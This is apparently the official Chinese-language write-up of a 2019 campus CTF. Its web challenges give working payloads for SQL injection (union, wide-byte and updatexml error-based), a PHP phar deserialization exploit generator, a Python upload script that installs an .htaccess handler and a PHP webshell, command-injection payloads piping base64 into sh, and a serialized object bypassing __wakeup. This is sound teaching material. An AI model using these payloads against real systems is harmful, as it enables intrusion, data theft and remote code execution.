2019 GXY_CTF 官方 Write Up

  首先因为这个题目其实是校内招新赛,所以可能比较简单(ak的V&N师傅们tql),也有些师傅说部 分题目分数设计不太合理,作为主办方这些我们也进行了反思,希望下次能让师傅们满意(如果还有下 次的话233333),这次比赛大家快乐就完事儿了。现在比赛结束了,我们能做的也就是尽量吧wp整理 得完善一些,尽量让萌新们有所提高,顺便聊一聊比赛中出现的非预期情况。

WEB

BabySqli

  • tags : 万能密码登陆,SQL注入
  • 难度:入门
  • 这个题目其实就是一个万能密码题,但是可能题目描述不太到位,有些大佬用sqlmap直接拖库 了,发现数据库里面没有flag,就以为要爆破md5,谢罪谢罪。
  • 题目提示了用md5做哈希,fuzz可以知道admin是账号
  • 题目过滤了小括号、or和=,没有过滤union,用union万能密码绕过即可
# username: 
-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' # 
# password: 
123

BabySqli 2

  • tags : 宽字节注入,过滤0x,union select where置空
  • 难度:简单
  • 题目提示了支持中文,就可以想到宽字节,登陆之后发现有一个显示位,那拿flag的姿势就很多 了。

    # 显示database 
    # 由于0x被过滤,使用char()构造admin 
    # 除了char()之外,看到有的师傅使用unhex()函数,原理相同 name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),database( )%23&pw=1
    
    # 显示表名 
    # 双写绕过union select where等字段 name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_c oncat(table_name)%20from%20information_schema.tables%20whwhereere%20table_sc hema%20=%20database()%23  
    
    # 显示f14g列名 
    # char()写入f14g,或者再使用宽字节也可以 name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_c oncat(column_name)%20from%20information_schema.columns%20whwhereere%20table_ name%20=%20char(102,49,52,103)%23   
    
    # 拿到flag name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_c oncat(327a6c4304ad5938eaf0efb6cc3e53dc)%20from%20f14g%23

20191225210355.png

  • base64解码即可得到一堆歌词和flag23333
  • 题外话:

    • flag数据库里面放歌词是为了增加盲注成本,有的大佬可能有一些万能盲注脚本,怕改个参 数直接跑,还是希望师傅们具体问题具体分析,像这种脏数据多的可以用报错或者手工注
    • 这题的数据库列名构造过,分别是id和flag的 md5 值,所以有的师傅用 updatexml 报错注入 只能得到第一个 md5 (因为 updatexml 返回最大长度就是32),顺便提一句,某些师傅的脑 洞是真的大,用 updatexml 只注出来一个列名以为这是个脑洞题,吧id的 md5 解出来之后, 愣是硬猜出来另一个列名是flag的 md5 ∑(っ°Д°;)っ
    • 其实updatexml可以和substr配合,做到任意位读取
    • 本身这题跟sqli1一样啥都没有,纯白板的,但是考虑到怕师傅们做题太无聊,于是就加了个 动图给师傅们解解闷儿
    • 赛后想了想,既然师傅们都习惯使用updatexml,不如把flag后几位调成特殊字符,让师傅 们猜不出来,还不知道哪里有问题,又能搞一波心态233333
  • 报错注入payload:

    # Author Y1ng 
    # 爆数据库 
    http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1,database()),1) --+&pw=y1ng 
    # Error: XPATH syntax error: 'web_sqli'
    
    # 查表名 
    http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(table_name) from information_schema.tables whWHEREere table_schema=database() limit 0,1)),1) --+&pw=y1ng 
    # Error: XPATH syntax error: 'f14g,user'
    
    # 查列名
    http://172.21.4.12:10012/search.php? name=admin%df%27%20and%20updatexml(1,concat(1,%20(seSELECTlect%20group_conca t(column_name)%20from%20information_schema.columns%20wherWHEREe%20TABLE_NAME =char(102,49,52,103))),1)%20--+&pw=y1ng 
    # Error: XPATH syntax error: 'b80bb7740288fda1f201890375a60c8f'
    
    # 查字段 http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 0,1),1),1) --+ &pw=y1ng 
    # Error: XPATH syntax error: 'VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr'
    
    # 查flag http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1),1) --+ &pw=y1ng 
    # Error: XPATH syntax error: 'R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0'

BabySqli 3

  • tags : 弱口令登陆,filter读源码,phar反序列
  • 难度:中等
  • emmmm没错这题不是SQL注入,甚至都没有数据库233333
  • 题目提示了绝对防御,在登录页查看源码可以看到 <!-- u9db8 --> ,可以用Unicode解码得到鶸, 说明这是一个弱口令,并不是注入题

20191225212437.png

  • 用弱口令字典可以跑出来,账号口令是admin/password,即可成功登陆
  • 登陆发现是一个文件上传,简单操作后发现只能上传txt文件;然后发现url里有引用,猜测可能存 在LFI(Local File Include),使用filter协议可以看网站源码。

20191225212516.png

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<form action="" method="post" enctype="multipart/form-data">
    上传文件
  <input type="file" name="file" />
  <input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
    
    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | 
php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }
        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }
    function upload($file){
        global $sandbox;
        global $ext;
        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (ʹ▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . 
$this->Filename . "');";
            }
        }
    }
    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }
    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}
if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}
?>
  • 审计源码得知上传操作是使用类来完成,在类中会判断上传文件是否合法,在销毁类的时候自动调用__destruct 执行相关命令。因此可以用反序列化更改掉相关命令来达到任意命令执行。
  • 可能有萌新会问,这个题目代码中没有 unserialize() 如何反序列化呢?其实这是一个phar的 feature, PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,既然是打包文件,就肯定 会对相应的class进行序列化存储,再在执行某些函数或者需要调用数据的时候自动反序列化,很 多函数都可以自动反序列化phar文件,常见的莫过于 file_get_contents() 和 file_put_contents() ,具体哪些函数受影响请参考 seaii 师傅的博客 https://paper.seebug.org/680/
  • 此外,phar还有一个特点,无需特定的文件后缀,即使使用txt格式的后缀只要文件内容是phar的 格式即可被php识别为phar文件,可以利用这个feature上传txt文件构造反序列化。
  • 理解了原理这题就非常简单,只要构造一个phar反序列化文件,将命令替换为getflag操作,再把 检查的token替换为服务器分发的,后控制文件名进行反序列化操作,达到任意命令执行的目 的。
  • exp:

    # phar_gen.php
    # Author : imagin
    # 使用时请将上文中的对象代码粘贴到本代码之前
    <?php
    @unlink("exp.phar");
    $phar = new Phar("exp.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Uploader();
    $o->token = "GXYb4b627c1236f2c1b9463e18e0e7bfe30";
    $o->cmd = "echo file_get_contents('./flag.php');";
    $o->Filename = 
    "phar://uploads/909c00f0b41f82ef8c579546b5ed765e/GXYb4b627c1236f2c1b9463e18e
    0e7bfe30.txt";
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("a", "a"); //添加要压缩的文件
    $phar->stopBuffering();
    ?>
  • 控制url中的file字段即可实现任意命令执行:

20191225213111.png

  • 非预期解:

    • 直接上传php文件可还行

    20191225213154.png

    20191225213239.png

    • 非预期造成的原因:

      • 罪魁祸首:

        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])
- emmm这个正则本意是匹配name里面的 data:// filter:// php:// 和 . ,为了代 码美观一点,所以在管道符旁边加了空格,就没注意这是在正则里面,然后正则匹配的 就是 0x20. (0x20表示空格),大佬也在wp里面吐槽了这件事。![20191225213415.png](https://c.mipcdn.com/i/s/cdn.gksec.com/2019/12/25/32a2c6ad53e02/20191225213415.png)

- 所以大家以后写正则一定不要手贱啊~~o(>_<)o ~~

  

BabyUpload

  • tags : 文件上传,条件竞争
  • 难度 : 简单
  • 一个简单的上传题,服务器隔三秒会删除 ./upload 文件夹的所有内容。
  • 随便上传发现文件后缀ph被拦截, php3、phtml 都不能使,随便搞出来一个404得知是 apache 服 务器,可以使用 .htaccess 文件改变文件解析配置,使得服务器可以把jpg当做php解析,从而命 令执行;此外,服务器会检查文件内容是否包含 <? (可以fuzz出来),要使用 <script> </script> 格式编写php代码。因此,本题上传 .htaccess 文件修改apache的解析,再把一句话 木马后缀改为jpg即可
  • 普通青年解法:

    • 上脚本,直接跑出来

      # upload_exp.py
      # Author : imagin
      import requests
      url = "http://172.21.4.12:10011/"
      session = requests.session()
      htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-
      php", 'image/jpeg')}
      res_hta = session.post(url, files = htaccess)
      files = {'uploaded': ('123.jpg', "<script language=\"php\">echo 
      file_get_contents(\"/flag\");</script>", 'image/jpeg')}
      res_jpg = session.post(url, files = files)
      res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo 
      file_get_contents(\'/flag\');'})
      print(res_shell.text)
  • 文艺青年解法:

    • 多线程脚本,别问,问就是多线程!
  • 快乐青年解法:

    • 条件竞争?没事儿我人多!
    • 一个人负责传.htaccess ,一个人负责传exp.jpg ,最后一个老哥专门读flag 23333。手 速才是王道!
  • 本来想放一个hint,给出删文件的脚本地址(群里有大佬一直在问是不是环境坏了),但是后来很 多大佬都做出来了就没放23333

Ping Ping Ping

  • tags : 命令执行,过滤%00-%32,过滤特殊符号,过滤flag
  • 难度 : 中等
  • 这个题因为要ping一下,所以当并发量比较大的时候会卡,而且有的大佬报复性扫描,所以中间 重启了好几次(╯‵□′)╯︵┻━┻
  • 这个题目首先过滤了符号,但是过滤不严格,可以使用管道符和;,因此可以使用这两个符号来拼 接命令;其次过滤了空格,可以使用$IFS$9来替代空格;后过滤了flag,这个过滤比较严格,具 体的正则是 .*f.*l.*a.*g.* ,可以通过 base64 来绕过,或者用变量名拼接绕过。
  • payload base64版本 :

    ?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

20191225214028.png

  • payload bash版本 :

    ?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

20191225214117.png

Do you know robots

  • tags : 反序列化、robots协议
  • 难度 : 简单
  • 打开是一个无情的报菜名机器,题目提示 robots 协议,可以看到备份文件 index.php~ ,下载源 码
<?php 
class FileReader{
    public $Filename;
    public $start;
    public $max_length;
    function __construct(){
        $this->Filename = __DIR__ . "/bcm.txt";
        $this->start = 12;
        $this->max_length = 72;
    }
    function __wakeup(){
        $this->Filename = __DIR__ . "/fake_f1ag.php";
        $this->start = 10;
        $this->max_length = 0;
    }
    function __destruct(){
        $data = file_get_contents($this->Filename, 0, NULL, $this->start, $this-
>max_length);
if(preg_match("/\{|\}/", $data)){
            die("you can't read flag!");
        }
        else{
            echo $data;
        }
    }
}
if(isset($_GET['exp'])){
    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])){
        die("hack!");
    }
    $exp = $_REQUEST['exp'];
    $e = unserialize($exp);
    echo $e->Filename;
}
else{
    $exp = new FileReader();
}
?>
  • 审源码可以得知这是个标准的反序列化题目,变量名都是public类型(注意如果是private类型需 要增加0),主要功能是将文件上传和报菜名2333
  • 网页使用 $\_GET 方法传参,但是会正则匹配 .?f.?l.?a.?g.? ,导致不可以读flag,但是仔细审计 就会发现问题,真正的 $exp 是接受的 $\_REQUEST['exp'] 的,针对这种使用 $_REQUEST[] 接收 参数的代码,如果同时使用 get 和 post 两种方式传相同类型的参数,那么 post 的参数会覆盖掉 get 的参数,终 $_REQUEST[] 接受的参数是 post 过来的
  • 上面可能有些拗口,实际举个例子就是 url 传 ?a=1 ,同时用 post 发送 a=2 ,在服务器使用 $\_REQUEST['a'] 接受参数,后 $_REQUEST['a'] 的值是2,大家可以自己动手做做实验。
  • 此外, __wakeup() 会在反序列化的时候自动调用,会复写掉文件,这时候就要请出 CVE-20167124 ,只要让成员属性数目大于实际数目时就可以绕过__wakeup()方法因此我们可以构造
  • paylaod :

    # get ?exp=1 
    # post exp=O:10:"FileReader":4: {s:8:"Filename";s:22:"/var/www/html/flag.php";s:5:"start";i:21;s:10:"max_len gth";i:17;}

禁止套娃!

  • tags : .git 源码泄露, php 套娃命令执行
  • 难度 : 中等
  • 这是一道bytes的改编题,主要考察无参数的套娃命令执行
  • 首先可以扫描目录,发现.git/文件夹,直接 githack 走一波搞源码
  • 这个题目的主要矛盾在于搞定正则

    (';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp']))
  • 这个正则的合法匹配是类似 a(b());这种无参数的命令套娃, pdsdt 师傅曾经总结过可以合法执 行的函数,大佬们可以看 http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_ no_code/ (这次比赛 pdsdt 师傅也参加了,在这里膜一下)
  • 之后访问一下 flag.php ,发现没有404,可以确定 flag 就在 flag.php 中,先使用 scandir() 查看当前目录情况,可以使用 pos(localeconv());构造一个 . 出来,用 print_r() 输出,即可 得到当前的目录文件情况。

20191225214914.png

  • 可以看到 flag.php 在倒数第二个,后面的步骤就是如何读取到 flag.php ,首先我们知道 next() 函数可以读取数组中第二个元素,但是flag在倒数第二个,这时候用一个 array_reverse() 函数将数组翻转,再读取next即可读取到flag文件,后使用 show_source() 可以显示 php 代码,即可拿到flag。

20191225215033.png

  • 完整的payload:

    ?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

MISC

佛系青年

  • tags : zip伪加密,偏僻的编码方式
  • 难度 : 简单
  • 下载压缩包,压缩包里面第一个文件是个表情包,其实是干扰项23333,第二个 fo.txt 需要使用 zip伪加密解出文件。

20191225215200.png

  • 打开 fo.txt 发现是一堆佛语,看来本题的关键就在于参透佛祖的思想, google 一下佛曰,可以 联想到佛曰解码,上该网站即可解得flag

http://www.keyfc.net/bbs/tools/tudoucode.aspx

完整的WriteUp下载

完整的WP地址:http://suo.im/6rVkcI
图片备份:http://suo.im/64Cx7i